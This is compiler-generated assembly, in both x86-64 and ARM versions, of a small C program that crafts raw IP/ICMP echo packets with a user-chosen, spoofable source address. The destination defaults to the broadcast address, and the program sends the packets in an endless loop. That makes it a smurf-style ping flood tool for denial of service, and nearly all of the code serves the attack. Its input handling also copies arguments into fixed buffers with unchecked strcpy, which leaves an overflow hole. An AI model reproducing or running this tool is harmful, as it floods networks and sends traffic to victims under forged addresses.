	.file	"863925.c"
	.intel_syntax noprefix
	.text
	.globl	ip_pkg
	.bss
	.align 16
	.type	ip_pkg, @object
	.size	ip_pkg, 20
ip_pkg:
	.zero	20
	.globl	udp_pkg
	.align 8
	.type	udp_pkg, @object
	.size	udp_pkg, 8
udp_pkg:
	.zero	8
	.globl	icmp_pkg
	.align 16
	.type	icmp_pkg, @object
	.size	icmp_pkg, 28
icmp_pkg:
	.zero	28
	.globl	sockfd
	.align 4
	.type	sockfd, @object
	.size	sockfd, 4
sockfd:
	.zero	4
	.globl	yes
	.section	.rodata
	.align 4
	.type	yes, @object
	.size	yes, 4
yes:
	.long	1
	.globl	iaddr
	.bss
	.align 16
	.type	iaddr, @object
	.size	iaddr, 16
iaddr:
	.zero	16
	.globl	packet
	.align 8
	.type	packet, @object
	.size	packet, 8
packet:
	.zero	8
	.globl	sa
	.align 32
	.type	sa, @object
	.size	sa, 152
sa:
	.zero	152
	.globl	sbuffer
	.align 32
	.type	sbuffer, @object
	.size	sbuffer, 32
sbuffer:
	.zero	32
	.globl	dbuffer
	.align 32
	.type	dbuffer, @object
	.size	dbuffer, 32
dbuffer:
	.zero	32
	.section	.rodata
.LC0:
	.string	"|  Cleaning up and exiting..."
	.text
	.globl	interrupt_handler
	.type	interrupt_handler, @function
interrupt_handler:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	lea	rdi, .LC0[rip]
	call	puts@PLT
	mov	rax, QWORD PTR packet[rip]
	mov	rdi, rax
	call	free@PLT
	mov	edi, 0
	call	exit@PLT
	.cfi_endproc
.LFE6:
	.size	interrupt_handler, .-interrupt_handler
	.section	.rodata
	.align 8
.LC1:
	.string	"\nUsage: \"%s SOURCEADDR [DESTADDR]\" (DESTADDR default: 255.255.255.255)\n\nRunning in interactive mode...\n"
.LC2:
	.string	"Source host address: "
.LC3:
	.string	"%s"
.LC4:
	.string	"Destination host address: "
.LC5:
	.string	"sigaction"
.LC6:
	.string	"Setting up IP part..."
.LC7:
	.string	" done!"
.LC8:
	.string	"Setting up ICMP part..."
.LC9:
	.string	"Setting up socket..."
.LC10:
	.string	"socket"
	.align 8
.LC11:
	.string	"\n(You have to run as root to use raw sockets...)\n\n"
	.align 8
.LC12:
	.string	"Telling socket to send my packet without header & enable broadcasting..."
.LC13:
	.string	"setsockopt"
.LC14:
	.string	"Sending packets..."
.LC15:
	.string	"sendto"
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	QWORD PTR -16[rbp], rsi
	cmp	DWORD PTR -4[rbp], 1
	jle	.L3
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, sbuffer[rip]
	call	strcpy@PLT
	cmp	DWORD PTR -4[rbp], 2
	jne	.L4
	movabs	rax, 3329625989150225714
	movabs	rdx, 14976663405540658
	mov	QWORD PTR dbuffer[rip], rax
	mov	QWORD PTR dbuffer[rip+8], rdx
	jmp	.L5
.L4:
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, dbuffer[rip]
	call	strcpy@PLT
	jmp	.L5
.L3:
	mov	rax, QWORD PTR -16[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rsi, sbuffer[rip]
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	__isoc99_scanf@PLT
	lea	rdi, .LC4[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rsi, dbuffer[rip]
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	__isoc99_scanf@PLT
.L5:
	lea	rax, interrupt_handler[rip]
	mov	QWORD PTR sa[rip], rax
	mov	DWORD PTR sa[rip+136], 0
	lea	rdi, sa[rip+8]
	call	sigemptyset@PLT
	mov	edx, 0
	lea	rsi, sa[rip]
	mov	edi, 2
	call	sigaction@PLT
	cmp	eax, -1
	jne	.L6
	lea	rdi, .LC5[rip]
	call	perror@PLT
	mov	eax, 1
	jmp	.L7
.L6:
	lea	rdi, .LC6[rip]
	call	puts@PLT
	mov	edi, 60
	call	malloc@PLT
	mov	QWORD PTR packet[rip], rax
	movzx	eax, BYTE PTR ip_pkg[rip]
	and	eax, -16
	or	eax, 5
	mov	BYTE PTR ip_pkg[rip], al
	movzx	eax, BYTE PTR ip_pkg[rip]
	and	eax, 15
	or	eax, 64
	mov	BYTE PTR ip_pkg[rip], al
	mov	BYTE PTR ip_pkg[rip+1], 0
	mov	edi, 60
	call	htons@PLT
	mov	WORD PTR ip_pkg[rip+2], ax
	mov	edi, 12830
	call	htons@PLT
	mov	WORD PTR ip_pkg[rip+4], ax
	mov	WORD PTR ip_pkg[rip+6], 0
	mov	BYTE PTR ip_pkg[rip+8], 64
	mov	BYTE PTR ip_pkg[rip+9], 1
	mov	WORD PTR ip_pkg[rip+10], 0
	lea	rdi, sbuffer[rip]
	call	inet_addr@PLT
	mov	DWORD PTR ip_pkg[rip+12], eax
	lea	rdi, dbuffer[rip]
	call	inet_addr@PLT
	mov	DWORD PTR ip_pkg[rip+16], eax
	mov	esi, 20
	lea	rdi, ip_pkg[rip]
	call	in_cksum
	mov	WORD PTR ip_pkg[rip+10], ax
	mov	rax, QWORD PTR packet[rip]
	mov	edx, 20
	lea	rsi, ip_pkg[rip]
	mov	rdi, rax
	call	memcpy@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	lea	rdi, .LC8[rip]
	call	puts@PLT
	mov	BYTE PTR icmp_pkg[rip], 8
	mov	BYTE PTR icmp_pkg[rip+1], 0
	mov	WORD PTR icmp_pkg[rip+4], 1000
	mov	WORD PTR icmp_pkg[rip+6], 0
	mov	WORD PTR icmp_pkg[rip+2], 0
	mov	esi, 8
	lea	rdi, icmp_pkg[rip]
	call	in_cksum
	mov	WORD PTR icmp_pkg[rip+2], ax
	mov	rax, QWORD PTR packet[rip]
	lea	rdx, 20[rax]
	mov	rax, QWORD PTR icmp_pkg[rip]
	mov	QWORD PTR [rdx], rax
	lea	rdi, .LC7[rip]
	call	puts@PLT
	lea	rdi, .LC9[rip]
	call	puts@PLT
	mov	edx, 255
	mov	esi, 3
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR sockfd[rip], eax
	mov	eax, DWORD PTR sockfd[rip]
	test	eax, eax
	jns	.L8
	lea	rdi, .LC10[rip]
	call	perror@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 50
	mov	esi, 1
	lea	rdi, .LC11[rip]
	call	fwrite@PLT
	mov	eax, 1
	jmp	.L7
.L8:
	lea	rdi, .LC7[rip]
	call	puts@PLT
	lea	rdi, .LC12[rip]
	call	puts@PLT
	mov	eax, DWORD PTR sockfd[rip]
	mov	r8d, 4
	lea	rcx, yes[rip]
	mov	edx, 3
	mov	esi, 0
	mov	edi, eax
	call	setsockopt@PLT
	test	eax, eax
	js	.L9
	mov	eax, DWORD PTR sockfd[rip]
	mov	r8d, 4
	lea	rcx, yes[rip]
	mov	edx, 6
	mov	esi, 1
	mov	edi, eax
	call	setsockopt@PLT
	test	eax, eax
	jns	.L10
.L9:
	lea	rdi, .LC13[rip]
	call	perror@PLT
	mov	eax, 1
	jmp	.L7
.L10:
	mov	edx, 16
	mov	esi, 0
	lea	rdi, iaddr[rip]
	call	memset@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	WORD PTR iaddr[rip], 2
	mov	eax, DWORD PTR ip_pkg[rip+16]
	mov	DWORD PTR iaddr[rip+4], eax
	lea	rdi, .LC14[rip]
	call	puts@PLT
.L13:
	mov	rsi, QWORD PTR packet[rip]
	mov	eax, DWORD PTR sockfd[rip]
	mov	r9d, 16
	lea	r8, iaddr[rip]
	mov	ecx, 0
	mov	edx, 60
	mov	edi, eax
	call	sendto@PLT
	test	rax, rax
	jns	.L13
	lea	rdi, .LC15[rip]
	call	perror@PLT
	nop
	mov	rax, QWORD PTR packet[rip]
	mov	rdi, rax
	call	free@PLT
	mov	eax, 1
.L7:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.globl	in_cksum
	.type	in_cksum, @function
in_cksum:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	QWORD PTR -40[rbp], rdi
	mov	DWORD PTR -44[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR -44[rbp]
	mov	DWORD PTR -24[rbp], eax
	mov	DWORD PTR -20[rbp], 0
	mov	rax, QWORD PTR -40[rbp]
	mov	QWORD PTR -16[rbp], rax
	mov	WORD PTR -26[rbp], 0
	jmp	.L15
.L16:
	mov	rax, QWORD PTR -16[rbp]
	lea	rdx, 2[rax]
	mov	QWORD PTR -16[rbp], rdx
	movzx	eax, WORD PTR [rax]
	movzx	eax, ax
	add	DWORD PTR -20[rbp], eax
	sub	DWORD PTR -24[rbp], 2
.L15:
	cmp	DWORD PTR -24[rbp], 1
	jg	.L16
	cmp	DWORD PTR -24[rbp], 1
	jne	.L17
	lea	rax, -26[rbp]
	mov	rdx, QWORD PTR -16[rbp]
	movzx	edx, BYTE PTR [rdx]
	mov	BYTE PTR [rax], dl
	movzx	eax, WORD PTR -26[rbp]
	movzx	eax, ax
	add	DWORD PTR -20[rbp], eax
.L17:
	mov	eax, DWORD PTR -20[rbp]
	sar	eax, 16
	mov	edx, eax
	mov	eax, DWORD PTR -20[rbp]
	movzx	eax, ax
	add	eax, edx
	mov	DWORD PTR -20[rbp], eax
	mov	eax, DWORD PTR -20[rbp]
	sar	eax, 16
	add	DWORD PTR -20[rbp], eax
	mov	eax, DWORD PTR -20[rbp]
	not	eax
	mov	WORD PTR -26[rbp], ax
	movzx	eax, WORD PTR -26[rbp]
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L19
	call	__stack_chk_fail@PLT
.L19:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	in_cksum, .-in_cksum
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"863925.c"
	.text
	.comm	ip_pkg,20,4
	.comm	udp_pkg,8,4
	.comm	icmp_pkg,28,4
	.comm	sockfd,4,4
	.global	yes
	.section	.rodata
	.align	2
	.type	yes, %object
	.size	yes, 4
yes:
	.word	1
	.comm	iaddr,16,4
	.comm	packet,4,4
	.comm	sa,140,4
	.comm	sbuffer,32,4
	.comm	dbuffer,32,4
	.align	2
.LC0:
	.ascii	"|  Cleaning up and exiting...\000"
	.text
	.align	2
	.global	interrupt_handler
	.syntax unified
	.arm
	.fpu softvfp
	.type	interrupt_handler, %function
interrupt_handler:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r0, .L2
	bl	puts
	ldr	r3, .L2+4
	ldr	r3, [r3]
	mov	r0, r3
	bl	free
	mov	r0, #0
	bl	exit
.L3:
	.align	2
.L2:
	.word	.LC0
	.word	packet
	.size	interrupt_handler, .-interrupt_handler
	.section	.rodata
	.align	2
.LC1:
	.ascii	"255.255.255.255\000"
	.align	2
.LC2:
	.ascii	"\012Usage: \"%s SOURCEADDR [DESTADDR]\" (DESTADDR d"
	.ascii	"efault: 255.255.255.255)\012\012Running in interact"
	.ascii	"ive mode...\012\000"
	.align	2
.LC3:
	.ascii	"Source host address: \000"
	.align	2
.LC4:
	.ascii	"%s\000"
	.align	2
.LC5:
	.ascii	"Destination host address: \000"
	.align	2
.LC6:
	.ascii	"sigaction\000"
	.align	2
.LC7:
	.ascii	"Setting up IP part...\000"
	.align	2
.LC8:
	.ascii	" done!\000"
	.align	2
.LC9:
	.ascii	"Setting up ICMP part...\000"
	.align	2
.LC10:
	.ascii	"Setting up socket...\000"
	.align	2
.LC11:
	.ascii	"socket\000"
	.align	2
.LC12:
	.ascii	"\012(You have to run as root to use raw sockets...)"
	.ascii	"\012\012\000"
	.align	2
.LC13:
	.ascii	"Telling socket to send my packet without header & e"
	.ascii	"nable broadcasting...\000"
	.align	2
.LC14:
	.ascii	"setsockopt\000"
	.align	2
.LC15:
	.ascii	"Sending packets...\000"
	.align	2
.LC16:
	.ascii	"sendto\000"
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	ldr	r3, [fp, #-8]
	cmp	r3, #1
	ble	.L5
	ldr	r3, [fp, #-12]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L16
	bl	strcpy
	ldr	r3, [fp, #-8]
	cmp	r3, #2
	bne	.L6
	ldr	r2, .L16+4
	ldr	r3, .L16+8
	mov	r0, r2
	mov	r1, r3
	mov	r3, #16
	mov	r2, r3
	bl	memcpy
	b	.L7
.L6:
	ldr	r3, [fp, #-12]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L16+4
	bl	strcpy
	b	.L7
.L5:
	ldr	r3, [fp, #-12]
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L16+12
	bl	printf
	ldr	r0, .L16+16
	bl	printf
	ldr	r1, .L16
	ldr	r0, .L16+20
	bl	__isoc99_scanf
	ldr	r0, .L16+24
	bl	printf
	ldr	r1, .L16+4
	ldr	r0, .L16+20
	bl	__isoc99_scanf
.L7:
	ldr	r3, .L16+28
	ldr	r2, .L16+32
	str	r2, [r3]
	ldr	r3, .L16+28
	mov	r2, #0
	str	r2, [r3, #132]
	ldr	r0, .L16+36
	bl	sigemptyset
	mov	r2, #0
	ldr	r1, .L16+28
	mov	r0, #2
	bl	sigaction
	mov	r3, r0
	cmn	r3, #1
	bne	.L8
	ldr	r0, .L16+40
	bl	perror
	mov	r3, #1
	b	.L9
.L8:
	ldr	r0, .L16+44
	bl	puts
	mov	r0, #60
	bl	malloc
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L16+48
	str	r2, [r3]
	ldr	r2, .L16+52
	ldrb	r3, [r2]
	bic	r3, r3, #10
	orr	r3, r3, #5
	strb	r3, [r2]
	ldr	r2, .L16+52
	ldrb	r3, [r2]
	bic	r3, r3, #176
	orr	r3, r3, #64
	strb	r3, [r2]
	ldr	r3, .L16+52
	mov	r2, #0
	strb	r2, [r3, #1]
	mov	r0, #60
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L16+52
	strh	r2, [r3, #2]	@ movhi
	ldr	r0, .L16+56
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L16+52
	strh	r2, [r3, #4]	@ movhi
	ldr	r3, .L16+52
	mov	r2, #0
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, .L16+52
	mov	r2, #64
	strb	r2, [r3, #8]
	ldr	r3, .L16+52
	mov	r2, #1
	strb	r2, [r3, #9]
	ldr	r3, .L16+52
	mov	r2, #0
	strh	r2, [r3, #10]	@ movhi
	ldr	r0, .L16
	bl	inet_addr
	mov	r3, r0
	ldr	r2, .L16+52
	str	r3, [r2, #12]
	ldr	r0, .L16+4
	bl	inet_addr
	mov	r3, r0
	ldr	r2, .L16+52
	str	r3, [r2, #16]
	mov	r1, #20
	ldr	r0, .L16+52
	bl	in_cksum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L16+52
	strh	r2, [r3, #10]	@ movhi
	ldr	r3, .L16+48
	ldr	r3, [r3]
	mov	r2, #20
	ldr	r1, .L16+52
	mov	r0, r3
	bl	memcpy
	ldr	r0, .L16+60
	bl	puts
	ldr	r0, .L16+64
	bl	puts
	ldr	r3, .L16+68
	mov	r2, #8
	strb	r2, [r3]
	ldr	r3, .L16+68
	mov	r2, #0
	strb	r2, [r3, #1]
	ldr	r3, .L16+68
	mov	r2, #1000
	strh	r2, [r3, #4]	@ movhi
	ldr	r3, .L16+68
	mov	r2, #0
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, .L16+68
	mov	r2, #0
	strh	r2, [r3, #2]	@ movhi
	mov	r1, #8
	ldr	r0, .L16+68
	bl	in_cksum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L16+68
	strh	r2, [r3, #2]	@ movhi
	ldr	r3, .L16+48
	ldr	r3, [r3]
	add	r3, r3, #20
	mov	r2, #8
	ldr	r1, .L16+68
	mov	r0, r3
	bl	memcpy
	ldr	r0, .L16+60
	bl	puts
	ldr	r0, .L16+72
	bl	puts
	mov	r2, #255
	mov	r1, #3
	mov	r0, #2
	bl	socket
	mov	r3, r0
	ldr	r2, .L16+76
	str	r3, [r2]
	ldr	r3, .L16+76
	ldr	r3, [r3]
	cmp	r3, #0
	bge	.L10
	ldr	r0, .L16+80
	bl	perror
	ldr	r3, .L16+84
	ldr	r3, [r3]
	mov	r2, #50
	mov	r1, #1
	ldr	r0, .L16+88
	bl	fwrite
	mov	r3, #1
	b	.L9
.L10:
	ldr	r0, .L16+60
	bl	puts
	ldr	r0, .L16+92
	bl	puts
	ldr	r3, .L16+76
	ldr	r0, [r3]
	mov	r3, #4
	str	r3, [sp]
	ldr	r3, .L16+96
	mov	r2, #3
	mov	r1, #0
	bl	setsockopt
	mov	r3, r0
	cmp	r3, #0
	blt	.L11
	ldr	r3, .L16+76
	ldr	r0, [r3]
	mov	r3, #4
	str	r3, [sp]
	ldr	r3, .L16+96
	mov	r2, #6
	mov	r1, #1
	bl	setsockopt
	mov	r3, r0
	cmp	r3, #0
	bge	.L12
.L11:
	ldr	r0, .L16+100
	bl	perror
	mov	r3, #1
	b	.L9
.L12:
	mov	r2, #16
	mov	r1, #0
	ldr	r0, .L16+104
	bl	memset
	ldr	r0, .L16+60
	bl	puts
	ldr	r3, .L16+104
	mov	r2, #2
	strh	r2, [r3]	@ movhi
	ldr	r3, .L16+52
	ldr	r3, [r3, #16]
	ldr	r2, .L16+104
	str	r3, [r2, #4]
	ldr	r0, .L16+108
	bl	puts
.L15:
	ldr	r3, .L16+76
	ldr	r0, [r3]
	ldr	r3, .L16+48
	ldr	r1, [r3]
	mov	r3, #16
	str	r3, [sp, #4]
	ldr	r3, .L16+104
	str	r3, [sp]
	mov	r3, #0
	mov	r2, #60
	bl	sendto
	mov	r3, r0
	cmp	r3, #0
	bge	.L15
	ldr	r0, .L16+112
	bl	perror
	nop
	ldr	r3, .L16+48
	ldr	r3, [r3]
	mov	r0, r3
	bl	free
	mov	r3, #1
.L9:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L17:
	.align	2
.L16:
	.word	sbuffer
	.word	dbuffer
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	sa
	.word	interrupt_handler
	.word	sa+4
	.word	.LC6
	.word	.LC7
	.word	packet
	.word	ip_pkg
	.word	12830
	.word	.LC8
	.word	.LC9
	.word	icmp_pkg
	.word	.LC10
	.word	sockfd
	.word	.LC11
	.word	stderr
	.word	.LC12
	.word	.LC13
	.word	yes
	.word	.LC14
	.word	iaddr
	.word	.LC15
	.word	.LC16
	.size	main, .-main
	.section	.rodata
	.align	2
.LC17:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	in_cksum
	.syntax unified
	.arm
	.fpu softvfp
	.type	in_cksum, %function
in_cksum:
	@ args = 0, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #32
	str	r0, [fp, #-32]
	str	r1, [fp, #-36]
	ldr	r3, .L24
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-36]
	str	r3, [fp, #-20]
	mov	r3, #0
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-32]
	str	r3, [fp, #-12]
	mov	r3, #0
	strh	r3, [fp, #-22]	@ movhi
	b	.L19
.L20:
	ldr	r3, [fp, #-12]
	add	r2, r3, #2
	str	r2, [fp, #-12]
	ldrh	r3, [r3]
	mov	r2, r3
	ldr	r3, [fp, #-16]
	add	r3, r3, r2
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-20]
	sub	r3, r3, #2
	str	r3, [fp, #-20]
.L19:
	ldr	r3, [fp, #-20]
	cmp	r3, #1
	bgt	.L20
	ldr	r3, [fp, #-20]
	cmp	r3, #1
	bne	.L21
	sub	r3, fp, #22
	ldr	r2, [fp, #-12]
	ldrb	r2, [r2]	@ zero_extendqisi2
	strb	r2, [r3]
	ldrh	r3, [fp, #-22]
	mov	r2, r3
	ldr	r3, [fp, #-16]
	add	r3, r3, r2
	str	r3, [fp, #-16]
.L21:
	ldr	r3, [fp, #-16]
	asr	r2, r3, #16
	ldr	r3, [fp, #-16]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r2, r3
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-16]
	asr	r3, r3, #16
	ldr	r2, [fp, #-16]
	add	r3, r2, r3
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-16]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mvn	r3, r3
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	strh	r3, [fp, #-22]	@ movhi
	ldrh	r3, [fp, #-22]
	ldr	r2, .L24
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L23
	bl	__stack_chk_fail
.L23:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L25:
	.align	2
.L24:
	.word	.LC17
	.size	in_cksum, .-in_cksum
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
